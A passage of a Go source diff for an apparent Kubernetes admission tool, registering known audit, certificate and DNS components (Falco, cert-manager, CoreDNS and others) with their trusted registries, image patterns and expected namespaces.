return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// IsExpectedNamespace checks if a namespace is expected for this engine
|
||||
func (e *Engine) IsExpectedNamespace(namespace string) bool {
|
||||
if len(e.ExpectedNamespaces) == 0 {
|
||||
return true // No restriction
|
||||
}
|
||||
nsLower := strings.ToLower(namespace)
|
||||
for _, expected := range e.ExpectedNamespaces {
|
||||
if strings.ToLower(expected) == nsLower {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// registerAllEngines registers all known engines across all categories
|
||||
func (r *EngineRegistry) registerAllEngines() {
|
||||
// Image admission engines
|
||||
r.registerImageEngines()
|
||||
// Pod admission engines
|
||||
r.registerPodEngines()
|
||||
// Network admission engines
|
||||
r.registerNetworkEngines()
|
||||
// Secret admission engines
|
||||
r.registerSecretEngines()
|
||||
// DNS admission engines
|
||||
r.registerDNSEngines()
|
||||
// Runtime admission engines
|
||||
r.registerRuntimeEngines()
|
||||
// Multitenancy engines
|
||||
r.registerMultitenancyEngines()
|
||||
// Certificate engines
|
||||
r.registerCertEngines()
|
||||
// Service mesh engines
|
||||
r.registerMeshEngines()
|
||||
// Audit engines
|
||||
r.registerAuditEngines()
|
||||
}
|
||||
|
||||
func (r *EngineRegistry) register(e *Engine) {
|
||||
r.engines[e.ID] = e
|
||||
}
|
||||
@@ -0,0 +1,488 @@
|
||||
package admission
|
||||
|
||||
// registerAuditEngines registers all audit/runtime security engines
|
||||
func (r *EngineRegistry) registerAuditEngines() {
|
||||
// Falco
|
||||
r.register(&Engine{
|
||||
ID: "falco",
|
||||
Name: "Falco",
|
||||
Category: CategoryAudit,
|
||||
TrustedRegistries: []string{
|
||||
"docker.io/falcosecurity/",
|
||||
"falcosecurity/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"falcosecurity/falco",
|
||||
"falco-no-driver",
|
||||
"falco",
|
||||
},
|
||||
DeploymentPatterns: []string{"falco"},
|
||||
ExpectedNamespaces: []string{"falco", "falco-system", "security", "kube-system"},
|
||||
CRDGroups: []string{"falco.org"},
|
||||
LabelSelectors: []string{"app=falco", "app.kubernetes.io/name=falco"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Tetragon
|
||||
r.register(&Engine{
|
||||
ID: "tetragon",
|
||||
Name: "Tetragon",
|
||||
Category: CategoryAudit,
|
||||
TrustedRegistries: []string{
|
||||
"quay.io/cilium/",
|
||||
"docker.io/cilium/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"cilium/tetragon",
|
||||
"tetragon",
|
||||
},
|
||||
DeploymentPatterns: []string{"tetragon"},
|
||||
ExpectedNamespaces: []string{"kube-system", "tetragon", "cilium"},
|
||||
CRDGroups: []string{"cilium.io"},
|
||||
LabelSelectors: []string{"app.kubernetes.io/name=tetragon"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// KubeArmor
|
||||
r.register(&Engine{
|
||||
ID: "kubearmor",
|
||||
Name: "KubeArmor",
|
||||
Category: CategoryAudit,
|
||||
TrustedRegistries: []string{
|
||||
"kubearmor/",
|
||||
"docker.io/kubearmor/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"kubearmor/kubearmor",
|
||||
"kubearmor",
|
||||
},
|
||||
DeploymentPatterns: []string{"kubearmor"},
|
||||
ExpectedNamespaces: []string{"kubearmor", "kube-system"},
|
||||
CRDGroups: []string{"security.kubearmor.com"},
|
||||
LabelSelectors: []string{"kubearmor-app=kubearmor"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Tracee (Aqua)
|
||||
r.register(&Engine{
|
||||
ID: "tracee",
|
||||
Name: "Tracee",
|
||||
Category: CategoryAudit,
|
||||
TrustedRegistries: []string{
|
||||
"docker.io/aquasec/",
|
||||
"aquasec/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"aquasec/tracee",
|
||||
"tracee",
|
||||
},
|
||||
DeploymentPatterns: []string{"tracee"},
|
||||
ExpectedNamespaces: []string{"tracee", "tracee-system", "aqua", "kube-system"},
|
||||
LabelSelectors: []string{"app=tracee", "app.kubernetes.io/name=tracee"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Sysdig Agent
|
||||
r.register(&Engine{
|
||||
ID: "sysdig",
|
||||
Name: "Sysdig Secure",
|
||||
Category: CategoryAudit,
|
||||
TrustedRegistries: []string{
|
||||
"sysdig/",
|
||||
"quay.io/sysdig/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"sysdig/agent",
|
||||
"sysdig-agent",
|
||||
},
|
||||
DeploymentPatterns: []string{"sysdig-agent"},
|
||||
ExpectedNamespaces: []string{"sysdig-agent", "sysdig", "kube-system"},
|
||||
LabelSelectors: []string{"app=sysdig-agent", "app.kubernetes.io/name=sysdig"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Prisma Cloud (Twistlock)
|
||||
r.register(&Engine{
|
||||
ID: "prisma",
|
||||
Name: "Prisma Cloud",
|
||||
Category: CategoryAudit,
|
||||
TrustedRegistries: []string{
|
||||
"registry.twistlock.com/",
|
||||
"twistlock/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"twistlock/defender",
|
||||
"twistlock/console",
|
||||
"prismacloud/defender",
|
||||
},
|
||||
DeploymentPatterns: []string{"twistlock-defender", "twistlock-console"},
|
||||
ExpectedNamespaces: []string{"twistlock", "prisma-cloud"},
|
||||
WebhookPatterns: []string{"twistlock"},
|
||||
LabelSelectors: []string{"app=twistlock-defender", "name=twistlock-defender-ds"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Aqua Security
|
||||
r.register(&Engine{
|
||||
ID: "aqua",
|
||||
Name: "Aqua Security",
|
||||
Category: CategoryAudit,
|
||||
TrustedRegistries: []string{
|
||||
"registry.aquasec.com/",
|
||||
"aquasec/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"aquasec/enforcer",
|
||||
"aqua-enforcer",
|
||||
"aquasec/gateway",
|
||||
"aquasec/server",
|
||||
},
|
||||
DeploymentPatterns: []string{"aqua-gateway", "aqua-web"},
|
||||
ExpectedNamespaces: []string{"aqua", "aqua-security"},
|
||||
WebhookPatterns: []string{"aqua-webhook"},
|
||||
LabelSelectors: []string{"app=aqua-enforcer", "app=aqua-gateway"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// StackRox (Red Hat ACS)
|
||||
r.register(&Engine{
|
||||
ID: "stackrox",
|
||||
Name: "StackRox",
|
||||
Category: CategoryAudit,
|
||||
TrustedRegistries: []string{
|
||||
"stackrox/",
|
||||
"quay.io/stackrox-io/",
|
||||
"registry.redhat.io/advanced-cluster-security/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"stackrox/main",
|
||||
"stackrox/central",
|
||||
"stackrox/sensor",
|
||||
"stackrox/collector",
|
||||
},
|
||||
DeploymentPatterns: []string{"central", "sensor", "admission-control"},
|
||||
ExpectedNamespaces: []string{"stackrox", "rhacs-operator"},
|
||||
WebhookPatterns: []string{"stackrox-admission-control"},
|
||||
CRDGroups: []string{"platform.stackrox.io"},
|
||||
LabelSelectors: []string{"app=central", "app=sensor"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// NeuVector
|
||||
r.register(&Engine{
|
||||
ID: "neuvector",
|
||||
Name: "NeuVector",
|
||||
Category: CategoryAudit,
|
||||
TrustedRegistries: []string{
|
||||
"neuvector/",
|
||||
"docker.io/neuvector/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"neuvector/controller",
|
||||
"neuvector/enforcer",
|
||||
"neuvector/manager",
|
||||
"neuvector/scanner",
|
||||
},
|
||||
DeploymentPatterns: []string{"neuvector-controller", "neuvector-manager"},
|
||||
ExpectedNamespaces: []string{"neuvector", "cattle-neuvector-system"},
|
||||
WebhookPatterns: []string{"neuvector-validating", "neuvector-mutating"},
|
||||
CRDGroups: []string{"neuvector.com"},
|
||||
LabelSelectors: []string{"app=neuvector-controller-pod", "app=neuvector-enforcer-pod"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// CrowdStrike Falcon
|
||||
r.register(&Engine{
|
||||
ID: "crowdstrike",
|
||||
Name: "CrowdStrike Falcon",
|
||||
Category: CategoryAudit,
|
||||
TrustedRegistries: []string{
|
||||
"registry.crowdstrike.com/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"falcon-sensor",
|
||||
"falcon-container",
|
||||
"falcon-node-sensor",
|
||||
},
|
||||
DeploymentPatterns: []string{"falcon-sensor"},
|
||||
ExpectedNamespaces: []string{"falcon-system", "crowdstrike"},
|
||||
CRDGroups: []string{"falcon.crowdstrike.com"},
|
||||
LabelSelectors: []string{"app.kubernetes.io/name=falcon-sensor"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Deepfence ThreatMapper
|
||||
r.register(&Engine{
|
||||
ID: "deepfence",
|
||||
Name: "Deepfence ThreatMapper",
|
||||
Category: CategoryAudit,
|
||||
TrustedRegistries: []string{
|
||||
"quay.io/deepfenceio/",
|
||||
"deepfenceio/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"deepfenceio/deepfence_agent",
|
||||
"deepfence-agent",
|
||||
},
|
||||
DeploymentPatterns: []string{"deepfence-agent"},
|
||||
ExpectedNamespaces: []string{"deepfence", "kube-system"},
|
||||
LabelSelectors: []string{"app=deepfence-agent"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Wiz Runtime Sensor
|
||||
r.register(&Engine{
|
||||
ID: "wiz-runtime",
|
||||
Name: "Wiz Runtime Sensor",
|
||||
Category: CategoryAudit,
|
||||
TrustedRegistries: []string{
|
||||
"wizio/",
|
||||
"wiziopublic/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"wiz-sensor",
|
||||
"wiz-kubernetes-connector",
|
||||
},
|
||||
DeploymentPatterns: []string{"wiz-sensor"},
|
||||
ExpectedNamespaces: []string{"wiz"},
|
||||
LabelSelectors: []string{"app.kubernetes.io/name=wiz-sensor"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Lacework
|
||||
r.register(&Engine{
|
||||
ID: "lacework",
|
||||
Name: "Lacework",
|
||||
Category: CategoryAudit,
|
||||
TrustedRegistries: []string{
|
||||
"lacework/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"lacework/datacollector",
|
||||
"lacework/k8s-collector",
|
||||
},
|
||||
DeploymentPatterns: []string{"lacework-agent"},
|
||||
ExpectedNamespaces: []string{"lacework"},
|
||||
LabelSelectors: []string{"app=lacework-agent"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Security Profiles Operator
|
||||
r.register(&Engine{
|
||||
ID: "spo",
|
||||
Name: "Security Profiles Operator",
|
||||
Category: CategoryAudit,
|
||||
TrustedRegistries: []string{
|
||||
"registry.k8s.io/",
|
||||
"k8s.gcr.io/",
|
||||
"gcr.io/k8s-staging-sp-operator/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"security-profiles-operator",
|
||||
"seccomp-operator",
|
||||
},
|
||||
DeploymentPatterns: []string{"security-profiles-operator", "seccomp-operator"},
|
||||
ExpectedNamespaces: []string{"security-profiles-operator", "kube-system"},
|
||||
CRDGroups: []string{"security-profiles-operator.x-k8s.io"},
|
||||
LabelSelectors: []string{"app=security-profiles-operator"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Kubescape
|
||||
r.register(&Engine{
|
||||
ID: "kubescape-runtime",
|
||||
Name: "Kubescape",
|
||||
Category: CategoryAudit,
|
||||
TrustedRegistries: []string{
|
||||
"quay.io/kubescape/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"kubescape/kubescape",
|
||||
"kubescape/operator",
|
||||
"kubescape/node-agent",
|
||||
},
|
||||
DeploymentPatterns: []string{"kubescape", "kubescape-operator"},
|
||||
ExpectedNamespaces: []string{"kubescape", "armo-system"},
|
||||
CRDGroups: []string{"spdx.softwarecomposition.kubescape.io"},
|
||||
LabelSelectors: []string{"app=kubescape"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// AWS CloudWatch Agent / Fluent Bit for CloudWatch
|
||||
r.register(&Engine{
|
||||
ID: "aws-cloudwatch",
|
||||
Name: "AWS CloudWatch Agent",
|
||||
Category: CategoryAudit,
|
||||
TrustedRegistries: []string{
|
||||
"amazon/",
|
||||
"public.ecr.aws/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"cloudwatch-agent",
|
||||
"amazon/cloudwatch-agent",
|
||||
"aws-for-fluent-bit",
|
||||
"fluent-bit",
|
||||
},
|
||||
DeploymentPatterns: []string{"cloudwatch-agent", "fluent-bit"},
|
||||
ExpectedNamespaces: []string{"amazon-cloudwatch", "kube-system", "logging"},
|
||||
LabelSelectors: []string{"app.kubernetes.io/name=cloudwatch-agent", "k8s-app=fluent-bit"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// AWS GuardDuty EKS Runtime Monitoring
|
||||
r.register(&Engine{
|
||||
ID: "aws-guardduty",
|
||||
Name: "AWS GuardDuty EKS",
|
||||
Category: CategoryAudit,
|
||||
TrustedRegistries: []string{
|
||||
"amazon/",
|
||||
"public.ecr.aws/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"guardduty-agent",
|
||||
"eks-guardduty",
|
||||
},
|
||||
DeploymentPatterns: []string{"guardduty-agent"},
|
||||
ExpectedNamespaces: []string{"amazon-guardduty", "kube-system"},
|
||||
LabelSelectors: []string{"app.kubernetes.io/name=guardduty-agent"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// GCP Cloud Logging Agent (Stackdriver)
|
||||
r.register(&Engine{
|
||||
ID: "gcp-cloud-logging",
|
||||
Name: "GCP Cloud Logging",
|
||||
Category: CategoryAudit,
|
||||
TrustedRegistries: []string{
|
||||
"gcr.io/",
|
||||
"gke.gcr.io/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"stackdriver-logging-agent",
|
||||
"fluentd-gcp",
|
||||
"fluent-bit-gke-exporter",
|
||||
"gke-logging-agent",
|
||||
},
|
||||
DeploymentPatterns: []string{"fluentd-gcp", "stackdriver-log-aggregator"},
|
||||
ExpectedNamespaces: []string{"kube-system", "gke-system"},
|
||||
LabelSelectors: []string{"k8s-app=fluentd-gcp", "component=fluentd-gcp"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// GCP Security Command Center
|
||||
r.register(&Engine{
|
||||
ID: "gcp-scc",
|
||||
Name: "GCP Security Command Center",
|
||||
Category: CategoryAudit,
|
||||
TrustedRegistries: []string{
|
||||
"gcr.io/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"scc-agent",
|
||||
"container-threat-detection",
|
||||
},
|
||||
ExpectedNamespaces: []string{"gke-system", "kube-system"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Azure Monitor Container Insights
|
||||
r.register(&Engine{
|
||||
ID: "azure-monitor",
|
||||
Name: "Azure Monitor Container Insights",
|
||||
Category: CategoryAudit,
|
||||
TrustedRegistries: []string{
|
||||
"mcr.microsoft.com/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"azuremonitor/containerinsights",
|
||||
"oms-agent",
|
||||
"omsagent",
|
||||
"ama-logs",
|
||||
"azure-monitor-agent",
|
||||
},
|
||||
DeploymentPatterns: []string{"omsagent", "ama-logs"},
|
||||
ExpectedNamespaces: []string{"kube-system", "azure-monitor"},
|
||||
LabelSelectors: []string{"component=oms-agent", "rsName=omsagent"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Azure Defender for Kubernetes
|
||||
r.register(&Engine{
|
||||
ID: "azure-defender",
|
||||
Name: "Azure Defender for Kubernetes",
|
||||
Category: CategoryAudit,
|
||||
TrustedRegistries: []string{
|
||||
"mcr.microsoft.com/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"azuredefender/",
|
||||
"azure-defender",
|
||||
"microsoft-defender",
|
||||
},
|
||||
DeploymentPatterns: []string{"azure-defender", "defender-publisher"},
|
||||
ExpectedNamespaces: []string{"kube-system", "microsoft-defender"},
|
||||
LabelSelectors: []string{"app=defender-publisher"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Datadog Agent
|
||||
r.register(&Engine{
|
||||
ID: "datadog",
|
||||
Name: "Datadog Agent",
|
||||
Category: CategoryAudit,
|
||||
TrustedRegistries: []string{
|
||||
"datadog/",
|
||||
"gcr.io/datadoghq/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"datadog/agent",
|
||||
"datadog-agent",
|
||||
"datadog/cluster-agent",
|
||||
},
|
||||
DeploymentPatterns: []string{"datadog-agent", "datadog-cluster-agent"},
|
||||
ExpectedNamespaces: []string{"datadog", "kube-system"},
|
||||
CRDGroups: []string{"datadoghq.com"},
|
||||
LabelSelectors: []string{"app=datadog-agent", "app.kubernetes.io/name=datadog-agent-deployment"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Splunk Connect for Kubernetes
|
||||
r.register(&Engine{
|
||||
ID: "splunk",
|
||||
Name: "Splunk Connect",
|
||||
Category: CategoryAudit,
|
||||
TrustedRegistries: []string{
|
||||
"docker.io/splunk/",
|
||||
"splunk/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"splunk/fluentd-hec",
|
||||
"splunk/splunk-otel-collector",
|
||||
"splunk-otel-collector-k8s",
|
||||
},
|
||||
DeploymentPatterns: []string{"splunk-otel-collector"},
|
||||
ExpectedNamespaces: []string{"splunk", "kube-system"},
|
||||
LabelSelectors: []string{"app=splunk-otel-collector"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Elastic Agent / Filebeat
|
||||
r.register(&Engine{
|
||||
ID: "elastic",
|
||||
Name: "Elastic Agent",
|
||||
Category: CategoryAudit,
|
||||
TrustedRegistries: []string{
|
||||
"docker.elastic.co/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"elastic-agent",
|
||||
"filebeat",
|
||||
"metricbeat",
|
||||
},
|
||||
DeploymentPatterns: []string{"elastic-agent", "filebeat"},
|
||||
ExpectedNamespaces: []string{"elastic-system", "kube-system"},
|
||||
CRDGroups: []string{"agent.k8s.elastic.co"},
|
||||
LabelSelectors: []string{"app=elastic-agent"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,260 @@
|
||||
package admission
|
||||
|
||||
// registerCertEngines registers all certificate management engines
|
||||
func (r *EngineRegistry) registerCertEngines() {
|
||||
// cert-manager
|
||||
r.register(&Engine{
|
||||
ID: "cert-manager",
|
||||
Name: "cert-manager",
|
||||
Category: CategoryCert,
|
||||
TrustedRegistries: []string{
|
||||
"quay.io/jetstack/",
|
||||
"docker.io/jetstack/",
|
||||
"gcr.io/jetstack-cert-manager-containers/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"jetstack/cert-manager",
|
||||
"cert-manager-controller",
|
||||
"cert-manager-webhook",
|
||||
"cert-manager-cainjector",
|
||||
},
|
||||
DeploymentPatterns: []string{"cert-manager", "cert-manager-webhook", "cert-manager-cainjector"},
|
||||
ExpectedNamespaces: []string{"cert-manager", "kube-system"},
|
||||
WebhookPatterns: []string{"cert-manager-webhook"},
|
||||
CRDGroups: []string{"cert-manager.io", "acme.cert-manager.io"},
|
||||
LabelSelectors: []string{"app.kubernetes.io/name=cert-manager", "app=cert-manager"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Venafi
|
||||
r.register(&Engine{
|
||||
ID: "venafi",
|
||||
Name: "Venafi",
|
||||
Category: CategoryCert,
|
||||
TrustedRegistries: []string{
|
||||
"venafi/",
|
||||
"docker.io/venafi/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"venafi/cert-manager-venafi",
|
||||
"venafi/vcp",
|
||||
"venafi-enhanced-issuer",
|
||||
"venafi-kubernetes-agent",
|
||||
},
|
||||
DeploymentPatterns: []string{"venafi-enhanced-issuer", "venafi-kubernetes-agent"},
|
||||
ExpectedNamespaces: []string{"venafi", "cert-manager"},
|
||||
CRDGroups: []string{"jetstack.io"},
|
||||
LabelSelectors: []string{"app=venafi-enhanced-issuer"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// SPIFFE/SPIRE
|
||||
r.register(&Engine{
|
||||
ID: "spiffe",
|
||||
Name: "SPIFFE/SPIRE",
|
||||
Category: CategoryCert,
|
||||
TrustedRegistries: []string{
|
||||
"ghcr.io/spiffe/",
|
||||
"gcr.io/spiffe-io/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"spiffe/spire",
|
||||
"spire-server",
|
||||
"spire-agent",
|
||||
},
|
||||
DeploymentPatterns: []string{"spire-server"},
|
||||
ExpectedNamespaces: []string{"spire", "spiffe"},
|
||||
CRDGroups: []string{"spire.spiffe.io"},
|
||||
LabelSelectors: []string{"app=spire-server", "app=spire-agent"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// AWS ACM Controller
|
||||
r.register(&Engine{
|
||||
ID: "aws-acm",
|
||||
Name: "AWS ACM Controller",
|
||||
Category: CategoryCert,
|
||||
TrustedRegistries: []string{
|
||||
"amazon/",
|
||||
"public.ecr.aws/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"aws-controllers-k8s/acm-controller",
|
||||
"acm-controller",
|
||||
},
|
||||
DeploymentPatterns: []string{"acm-controller"},
|
||||
ExpectedNamespaces: []string{"ack-system", "kube-system"},
|
||||
CRDGroups: []string{"acm.services.k8s.aws"},
|
||||
LabelSelectors: []string{"app.kubernetes.io/name=acm-controller"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// AWS Private CA Issuer
|
||||
r.register(&Engine{
|
||||
ID: "aws-pca",
|
||||
Name: "AWS Private CA Issuer",
|
||||
Category: CategoryCert,
|
||||
TrustedRegistries: []string{
|
||||
"amazon/",
|
||||
"public.ecr.aws/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"aws-privateca-issuer",
|
||||
"cert-manager-aws-privateca-issuer",
|
||||
},
|
||||
DeploymentPatterns: []string{"aws-privateca-issuer"},
|
||||
ExpectedNamespaces: []string{"cert-manager", "aws-pca-issuer-system"},
|
||||
CRDGroups: []string{"awspca.cert-manager.io"},
|
||||
LabelSelectors: []string{"app.kubernetes.io/name=aws-privateca-issuer"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Google CAS Issuer
|
||||
r.register(&Engine{
|
||||
ID: "google-cas",
|
||||
Name: "Google CAS Issuer",
|
||||
Category: CategoryCert,
|
||||
TrustedRegistries: []string{
|
||||
"gcr.io/",
|
||||
"us-docker.pkg.dev/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"google-cas-issuer",
|
||||
"cert-manager-google-cas-issuer",
|
||||
},
|
||||
DeploymentPatterns: []string{"google-cas-issuer"},
|
||||
ExpectedNamespaces: []string{"cert-manager", "google-cas-issuer-system"},
|
||||
CRDGroups: []string{"cas-issuer.jetstack.io"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// step-certificates
|
||||
r.register(&Engine{
|
||||
ID: "step-certificates",
|
||||
Name: "step-certificates",
|
||||
Category: CategoryCert,
|
||||
TrustedRegistries: []string{
|
||||
"smallstep/",
|
||||
"docker.io/smallstep/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"smallstep/step-ca",
|
||||
"step-ca",
|
||||
"step-certificates",
|
||||
},
|
||||
DeploymentPatterns: []string{"step-certificates"},
|
||||
ExpectedNamespaces: []string{"step", "smallstep"},
|
||||
CRDGroups: []string{"certmanager.step.sm"},
|
||||
LabelSelectors: []string{"app.kubernetes.io/name=step-certificates"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// trust-manager
|
||||
r.register(&Engine{
|
||||
ID: "trust-manager",
|
||||
Name: "trust-manager",
|
||||
Category: CategoryCert,
|
||||
TrustedRegistries: []string{
|
||||
"quay.io/jetstack/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"jetstack/trust-manager",
|
||||
"trust-manager",
|
||||
},
|
||||
DeploymentPatterns: []string{"trust-manager"},
|
||||
ExpectedNamespaces: []string{"cert-manager"},
|
||||
CRDGroups: []string{"trust.cert-manager.io"},
|
||||
LabelSelectors: []string{"app.kubernetes.io/name=trust-manager"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// approver-policy
|
||||
r.register(&Engine{
|
||||
ID: "approver-policy",
|
||||
Name: "approver-policy",
|
||||
Category: CategoryCert,
|
||||
TrustedRegistries: []string{
|
||||
"quay.io/jetstack/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"jetstack/cert-manager-approver-policy",
|
||||
"approver-policy",
|
||||
},
|
||||
DeploymentPatterns: []string{"cert-manager-approver-policy"},
|
||||
ExpectedNamespaces: []string{"cert-manager"},
|
||||
CRDGroups: []string{"policy.cert-manager.io"},
|
||||
LabelSelectors: []string{"app.kubernetes.io/name=approver-policy"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// csi-driver (cert-manager)
|
||||
r.register(&Engine{
|
||||
ID: "cert-manager-csi",
|
||||
Name: "cert-manager CSI Driver",
|
||||
Category: CategoryCert,
|
||||
TrustedRegistries: []string{
|
||||
"quay.io/jetstack/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"jetstack/cert-manager-csi-driver",
|
||||
"cert-manager-csi-driver",
|
||||
},
|
||||
DeploymentPatterns: []string{"cert-manager-csi-driver"},
|
||||
ExpectedNamespaces: []string{"cert-manager"},
|
||||
LabelSelectors: []string{"app.kubernetes.io/name=cert-manager-csi-driver"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Azure Key Vault Certificate Issuer (via cert-manager)
|
||||
r.register(&Engine{
|
||||
ID: "azure-keyvault-issuer",
|
||||
Name: "Azure Key Vault Issuer",
|
||||
Category: CategoryCert,
|
||||
TrustedRegistries: []string{
|
||||
"mcr.microsoft.com/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"azure-keyvault-controller",
|
||||
"keyvault-cert-controller",
|
||||
"akv2k8s",
|
||||
},
|
||||
DeploymentPatterns: []string{"akv2k8s-controller", "azure-keyvault-controller"},
|
||||
ExpectedNamespaces: []string{"akv2k8s", "azure-keyvault"},
|
||||
CRDGroups: []string{"spv.no", "keyvault.azure.com"},
|
||||
LabelSelectors: []string{"app=akv2k8s"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// DigiCert Certificate Issuer
|
||||
r.register(&Engine{
|
||||
ID: "digicert-issuer",
|
||||
Name: "DigiCert Issuer",
|
||||
Category: CategoryCert,
|
||||
TrustedRegistries: []string{
|
||||
"digicert/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"digicert/cert-manager-issuer",
|
||||
"digicert-issuer",
|
||||
},
|
||||
DeploymentPatterns: []string{"digicert-issuer"},
|
||||
ExpectedNamespaces: []string{"cert-manager", "digicert"},
|
||||
CRDGroups: []string{"certmanager.digicert.com"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Origin CA Issuer (Cloudflare)
|
||||
r.register(&Engine{
|
||||
ID: "origin-ca-issuer",
|
||||
Name: "Cloudflare Origin CA Issuer",
|
||||
Category: CategoryCert,
|
||||
ImagePatterns: []string{
|
||||
"origin-ca-issuer",
|
||||
"cloudflare-origin-ca-issuer",
|
||||
},
|
||||
DeploymentPatterns: []string{"origin-ca-issuer"},
|
||||
ExpectedNamespaces: []string{"cert-manager", "origin-ca-issuer"},
|
||||
CRDGroups: []string{"cert-manager.io"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,381 @@
|
||||
package admission
|
||||
|
||||
// registerDNSEngines registers all DNS-related engines
|
||||
func (r *EngineRegistry) registerDNSEngines() {
|
||||
// CoreDNS
|
||||
r.register(&Engine{
|
||||
ID: "coredns",
|
||||
Name: "CoreDNS",
|
||||
Category: CategoryDNS,
|
||||
TrustedRegistries: []string{
|
||||
"coredns/",
|
||||
"docker.io/coredns/",
|
||||
"registry.k8s.io/",
|
||||
"k8s.gcr.io/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"coredns/coredns",
|
||||
"coredns",
|
||||
},
|
||||
DeploymentPatterns: []string{"coredns"},
|
||||
ExpectedNamespaces: []string{"kube-system", "coredns"},
|
||||
LabelSelectors: []string{"k8s-app=kube-dns", "kubernetes.io/name=CoreDNS"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// NodeLocalDNS
|
||||
r.register(&Engine{
|
||||
ID: "nodelocaldns",
|
||||
Name: "NodeLocalDNS",
|
||||
Category: CategoryDNS,
|
||||
TrustedRegistries: []string{
|
||||
"registry.k8s.io/",
|
||||
"k8s.gcr.io/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"k8s-dns-node-cache",
|
||||
"dns-node-cache",
|
||||
"node-local-dns",
|
||||
"nodelocaldns",
|
||||
},
|
||||
DeploymentPatterns: []string{"node-local-dns", "nodelocaldns"},
|
||||
ExpectedNamespaces: []string{"kube-system"},
|
||||
LabelSelectors: []string{"k8s-app=node-local-dns"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// external-dns
|
||||
r.register(&Engine{
|
||||
ID: "external-dns",
|
||||
Name: "external-dns",
|
||||
Category: CategoryDNS,
|
||||
TrustedRegistries: []string{
|
||||
"registry.k8s.io/",
|
||||
